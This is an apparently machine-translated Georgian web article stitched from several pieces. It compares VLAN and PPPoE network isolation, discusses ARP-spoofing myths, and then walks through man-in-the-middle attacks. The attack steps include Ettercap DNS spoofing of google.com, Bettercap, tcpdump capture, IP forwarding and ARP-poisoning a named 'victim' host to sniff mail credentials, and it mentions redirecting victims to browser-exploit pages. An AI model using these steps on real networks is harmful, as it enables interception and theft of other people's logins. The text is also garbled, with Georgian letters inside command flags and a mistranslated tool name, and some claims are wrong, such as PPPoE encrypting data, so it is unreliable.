  1. არაფერია საჭირო კლიენტისგან. მუშაობს როგორც ყოველთვის. თუ IP მისამართი დაყენებულია სტატიკურად, თქვენ უნდა შეცვალოთ IP მისამართი და ქსელის ნიღაბი.
  2. მონაცემები არ არის დაშიფრული და არ არის შესრულების დაკარგვა. მცირე დანაკარგები სათაურში დამატებითი ველების გამო.
  3. შეუძლებელია მონაცემთა გაცვლის ორგანიზება სხვადასხვა VLAN-ში კვანძებს შორის კარიბჭის გვერდის ავლით. თუ თითოეული კვანძი არის საკუთარ VLAN-ში, ასეთი გაცვლა საერთოდ შეუძლებელია.
ხარვეზები
  1. გადამრთველს სჭირდება VLAN-ების მხარდაჭერა.
  2. საჭიროა დროის დახარჯვა VLAN-ების დაყენებაზე და დამატებით DHCP სერვერის დაყენებაზე.
  3. მონაცემები არ არის დაშიფრული. თუ მათი მოსმენა გარკვეულწილად წარმატებულია, მათი წაკითხვა და/ან შეცვლა შესაძლებელია.

PPPoE გამოყენებით

უპირატესობები
  1. მონაცემები დაშიფრულია
  2. არ არსებობს ტექნიკის მოთხოვნები. არც კი არის საჭირო, რომ ქსელი იყოს dial-up
ხარვეზები
  1. კლიენტი მოითხოვს PPPoE წვდომის კონფიგურაციას. ზოგიერთი სისტემა მოითხოვს სპეციალური კლიენტის პროგრამული უზრუნველყოფის ინსტალაციას.
  2. ინკაფსულაციის დანაკარგების გამო, ქსელის შესრულება მცირდება. თუ მონაცემთა დაშიფვრა შესრულებულია, მაშინ დროებითი დანაკარგები იზრდება.
  3. მხარეთა ურთიერთშეთანხმებით შესაძლებელია მონაცემთა გაცვლის ორგანიზება კარიბჭის გვერდის ავლით კვანძებს შორის.
  4. PPPoE კავშირების დიდი რაოდენობით (> 200) სერვერის ცენტრალურ პროცესორზე დატვირთვა იზრდება. ზოგჯერ თქვენ უნდა შესწიროთ მონაცემთა დაშიფვრა.
  5. თუ სერვერზე დიდი დატვირთვაა, უფრო ადვილია PPTPd ან IPsec გამოყენება

მითები და მცდარი წარმოდგენები ARP გაყალბებასთან დაკავშირებით

ARP გაყალბების თავიდან აცილება შესაძლებელია გადამრთველების პორტის უსაფრთხოების ფუნქციის გამოყენებით

გადამრთველის პორტ-უსაფრთხოების ფუნქცია საშუალებას გაძლევთ დაიცვათ თავი გადართვის პორტზე MAC მისამართის შეცვლისგან. თუ გადამრთველ პორტთან დაკავშირებული კომპიუტერი ცვლის თავის MAC მისამართს ან თუ კომპიუტერი იცვლება, გადამრთველი შეამჩნევს ჩანაცვლებას და წყვეტს ახალი დაბრუნების მისამართით გაგზავნილი პაკეტების გადაცემას. გარდა ამისა, შესაძლებელია სხვა მოქმედებების შესრულება: SNMP ხაფანგის გაგზავნა, syslog-ში ჩაწერა და სხვა.

ARP სპოფინგის დროს გამგზავნის (თავდამსხმელის) MAC მისამართი არ იცვლება და, შესაბამისად, პორტ-უსაფრთხოების თვალსაზრისით, არ არის ანომალიები. პორტ-უსაფრთხოების ფუნქცია არანაირად არ არის პასუხისმგებელი IP მისამართებისა და MAC მისამართების შესატყვისობაზე და ARP-სპოოფირების შეტევა ამაზეა დაფუძნებული.

მაგალითებში გამოყენებული OS არის Ubuntu 14.04. ზემოაღნიშნული ოპერაციების მნიშვნელოვანი ნაწილი მოითხოვს სუპერმომხმარებლის უფლებებს და კომუნალური სერვისები ამას აცნობებენ ამა თუ იმ გზით, თუ მათ არ აქვთ საკმარისი უფლებამოსილება. ჩვენ ვივარაუდებთ, რომ ყველა ბრძანება შესრულებულია სუპერმომხმარებლის სახელით.

ARP მოწამვლა (გაყალბება)

რა შესაძლებლობებს იძლევა ARP spoofing?

DNS გაყალბება

მოდით განვიხილოთ DNS-ის გაყალბება, რომელიც მიმართულია მასპინძლის წინააღმდეგ, რომელიც თხოვს DNS სერვერს. ARP გაყალბების ადრე განხორციელების შემდეგ, ჩვენ ჩავთვლით DNS სერვერის პასუხებს; თუ ისინი შეესაბამება ჩვენს ჩანაცვლების წესებს, მაშინ შეცვალეთ ისინი. ჩვენ ვიყენებთ ettercap-ს.

1. შეცვალეთ ფაილში გადამისამართების წესები:

/etc/ettercap/etter.dns

მაგალითად, მოთხოვნების გადამისამართება google.comადგილობრივ მისამართზე 192.168.1.34 .

google.com A 192.168.1.34
*. google.com A 192.168.1.34
www.google.com PTR 192.168.1.34
2. გაუშვით ettercap DNS სერვერის პასუხების გასაყალბებლად:
-პ dns_spoof - გამოიყენეთ dns_spoof მოდული:

ettercap -Tq -i wlan0 -პ dns_spoof-მ არპ :დისტანციური // 192.168.1.1 // // 192.168.1.44 //

შეგიძლიათ გაააქტიუროთ dns_spoof მოდული ettercap-ის გაშვების შემდეგ. ettercap მენიუ გეტყვით, თუ როგორ უნდა გააკეთოთ ეს, რაც შეგიძლიათ ნახოთ h კლავიშის დაჭერით პროგრამის გაშვებისას.
თუ თქვენ ცდილობთ შეხვიდეთ მანქანიდან google.comმაშინ გამომავალი იქნება ასეთი:

<...>
მიმდინარეობს dns_spoof მოდულის გააქტიურება...

dns_spoof: გაყალბებული

google.com მოთხოვნაზე პასუხები იცვლება წესების შესაბამისად, დანარჩენი კი უცვლელი რჩება.



192.168.1.1 - როუტერი, 192.168.1.44 - მასპინძელს თავს დაესხნენ, 192.168.1.34 - IP google.com გაყალბების შემდეგ.

ამ ტიპის შეტევა შეიძლება გამოყენებულ იქნას თავდამსხმელის გადამისამართებისთვის მავნე კოდის მქონე გვერდზე (Metasploit Browser Autopwn) შემდგომი შეღწევისთვის.

უკეთესი ქუდი
Bettercap მუშაობს ანალოგიურად, სამიზნე IP მისამართი (-T ) - სურვილისამებრ პარამეტრი:

უკეთესი ქუდი--dns dns.conf

ფაილის შიგთავსი, რომელიც აღწერს ჩანაცვლების წესებს, აღწერილია რეგულარული გამონათქვამების სახით. Მაგალითად

192.168.1.2 .* # ჩაანაცვლებს ნებისმიერ მისამართს 192.168.1.2-ით

სატრანსპორტო გადაყრა

tcpdump -მე ინტერფეისი -ვ ჩასაწერი-ფაილი

tcpdump -მე wlan0 -ვ dump.pcap

მხოლოდ გადაღებული ტრაფიკის ჩასაწერად, თქვენ უნდა გამოიყენოთ IP ფილტრი (საჭიროების შემთხვევაში დაამატეთ პორტი პორტი ):

tcpdump -მე wlan0 -ვ dump.pcap მასპინძელი 192.168.1.36 და პორტი 80
src , დსტ , მასპინძელი - გაფილტრეთ პაკეტის გამგზავნის, მიმღების, ან მიმღების ან გამგზავნის IP-ით.
გამოიყენება src და dst და წყაროს და დანიშნულების პორტის დასაზუსტებლად, ლოგიკური ოპერატორები გამოიყენება რთული ფილტრისთვის. ან , და და არა (|| , && და ! ).

ეს სტატია გაჩვენებთ, თუ როგორ უნდა ჩაერიოთ ტრაფიკი თქვენს ადგილობრივ ქსელში Ettercap-ის გამოყენებით. ამ მიზნით MITM შეტევების გამოყენება (Man In The Middle attacks).

– ღია კოდის პროგრამა კომპიუტერული ქსელების უსაფრთხოების გასაანალიზებლად. რომლის მთავარი მიზანია MITM შეტევები (Man In The Middle attacks). მას აქვს ცოცხალი კავშირების ამოსუნთქვის, შინაარსის გაფილტვრის შესაძლებლობა, ასევე ბევრი სხვა საინტერესო ფუნქცია. მხარს უჭერს როგორც აქტიურ, ასევე პასიურ პროტოკოლის შეტევებს და მოიცავს ქსელის და ჰოსტის ანალიზის ფუნქციების დიდ რაოდენობას.

დამატებითი ინფორმაცია შეგიძლიათ იხილოთ მისამართზე

Ettercap-ის ინსტალაცია/კონფიგურაცია

შეგიძლიათ ჩამოტვირთოთ და დააინსტალიროთ Ettercap წყაროდან - . როგორც ალტერნატივა, შეგიძლიათ გამოიყენოთ შემდეგი ბრძანება:

# apt-get install ettercap-gtk ettercap-common

ჩვენ მასში ვპოულობთ ამ სტრიქონებს და ვხსნით მათ კომენტარს:

# თუ იყენებთ iptables: redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING - i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

# თუ იყენებთ iptables:

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-პორტი %rport"

redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

ყველა ზემოაღნიშნული ოპერაციის დასრულების შემდეგ გაუშვით Ettercap. თუმცა, ზოგიერთი ადამიანისთვის, მათ შორის ჩემთვის, Ettercap არ იმუშავებს. შეცდომები, როგორიცაა " SEND L3 ERROR“. ასეთი შეცდომების თავიდან ასაცილებლად გამოიყენეთ შემდეგი ბრძანება:

# echo "1" > /proc/sys/net/ipv4/ip_forward # cat /proc/sys/net/ipv4/ip_forward 1

# echo "1" > /proc/sys/net/ipv4/ip_forward

# cat /proc/sys/net/ipv4/ip_forward

ახლა ყველაფერი კარგად უნდა მუშაობდეს და შეცდომები არ გამოჩნდეს.

ARP მოწამვლა

ადრე იყო აღწერილი რა არის "" და რატომ არის საჭირო. აქ ასევე იქნება აღწერილი, თუ როგორ უნდა განხორციელდეს ის Ettercap-ის გამოყენებით.

პირველ რიგში, გადახედეთ ქსელის არქიტექტურას (იხ. სურათი ქვემოთ), რომელიც გამოყენებული იქნება. ეს აუცილებელია იმისათვის, რომ კარგად გესმოდეთ რა საიდან მოდის:

გაუშვით Ettercap:

აპლიკაციის ფანჯარა გამოჩნდება ჩვენს თვალწინ, როგორც ეს ნაჩვენებია ქვემოთ:

დააჭირეთ ღილაკს ყნოსვა-> ერთიანი ყნოსვა. ამის შემდეგ შეარჩიეთ გამოყენებული ინტერფეისი. მე მაქვს ეს eth0:

ზედა მენიუში დააჭირეთ ღილაკებს მასპინძლებსსკანირება მასპინძლებისთვის:

ახლა ისევ დავაწკაპუნოთ მასპინძლებსმასპინძლების სია. გამოჩნდება ფანჯარა, როგორც ეს ნაჩვენებია ქვემოთ მოცემულ ფიგურაში:

აქ უნდა შევარჩიოთ მიზნები, ე.ი. აირჩიეთ მანქანა, რომელიც იმოქმედებს როგორც "მსხვერპლი" და კარიბჭე. როგორც ჩვენ ვიყენებთ ქსელის არქიტექტურიდან ჩანს, „მსხვერპლი“ არის მანქანა IP მისამართი = 192.168.1.3. ისე, როგორც კარიბჭე IP მისამართი = 192.168.1.1. ამიტომ აირჩიეთ 192.168.1.3 და დააჭირეთ ღილაკს სამიზნე 1-ში დამატება. ახლა დააჭირეთ 192.168.1.1 და დააჭირეთ ღილაკს დაამატეთ სამიზნე 2.

დააწკაპუნეთ კარგი. რჩება მხოლოდ მისი გაშვება. ამისათვის დააჭირეთ ღილაკს დაწყებადაიწყეთ ყნოსვა.

ყნოსვა დაიწყო. რჩება მხოლოდ დაველოდოთ, სანამ მომხმარებელი შეიყვანს თავის მონაცემებს, მაგალითად, მისი ფოსტის ანგარიშიდან.



Copyright © 2023 ცოტა რამ კომპიუტერის შესახებ.